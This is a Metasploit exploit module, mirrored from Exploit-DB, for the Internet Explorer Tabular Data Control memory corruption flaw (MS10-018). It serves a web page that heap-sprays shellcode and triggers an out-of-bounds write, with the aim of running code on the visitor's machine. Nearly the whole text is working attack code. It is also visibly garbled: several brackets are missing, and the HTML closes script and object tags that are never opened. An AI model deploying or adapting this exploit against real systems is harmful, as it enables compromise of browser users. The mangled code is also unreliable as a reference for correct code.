Microsoft Internet Explorer – Tabular Data Control ActiveX Memory Corruption (MS10-018) (Metasploit)

Exploit Database
106 阅读

作者： Metasploit

日期： 2010-04-30
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16567/

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# $Id: ms10_018_ie_tabular_activex.rb 9179 2010-04-30 08:40:19Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Internet Explorer Tabular Data Control ActiveX Memory Corruption',

'Description'=> %q{

This module exploits a memory corruption vulnerability in the Internet Explorer

Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet

Explorer are vulnerable.

By specifying a long value as the "DataURL" parameter to this control, it is possible

to write a NUL byte outside the bounds of an array. By targeting control flow data

on the stack, an attacker can execute arbitrary code.

'License'=> MSF_LICENSE,

'Author' =>

[

'Anonymous',# original discovery

'jduck' # metasploit version

'Version'=> '$Revision: 9179 $',

'References' =>

[

[ 'CVE', '2010-0805' ],

[ 'OSVDB', '63329' ],

[ 'BID', '39025' ],

[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-034' ],

[ 'MSB', 'MS10-018' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "", #"\x00\x09\x0a\x0d'\\",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Automatic (Heap Spray)',

{

'Ret' => 0x0c0c0c0c

}

'DisclosureDate' => 'Mar 09 2010',

'DefaultTarget'=> 0))

end

def on_request_uri(cli, request)

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{target.name})...")

# Encode the shellcode

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Set the return\nops

ret = Rex::Text.to_unescape([target.ret].pack('V'))

# ActiveX parameters

#progid =

clsid = "333C7BC4-460F-11D0-BC04-0080C7055A83"

# exploit url

url = "http://"

#url << rand_text_alphanumeric(258)

url << rand_text_alphanumeric(258+0x116+2)

# Construct the final page

var_unescape = rand_text_alpha(rand(100) + 1)

var_shellcode= rand_text_alpha(rand(100) + 1)

var_memory = rand_text_alpha(rand(100) + 1)

var_spray= rand_text_alpha(rand(100) + 1)

var_i= rand_text_alpha(rand(100) + 1)

html = %Q|<html><body>

var #{var_memory} = new Array();

var #{var_unescape} = unescape;

var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');

var #{var_spray} = #{var_unescape}("#{ret * 2}");

do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0x4000 );

for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};

</script>

</object>

</body></html>

# Transmit the compressed response to the client

send_response(cli, html, { 'Content-Type' => 'text/html' })

# Handle the payload

handler(cli)

end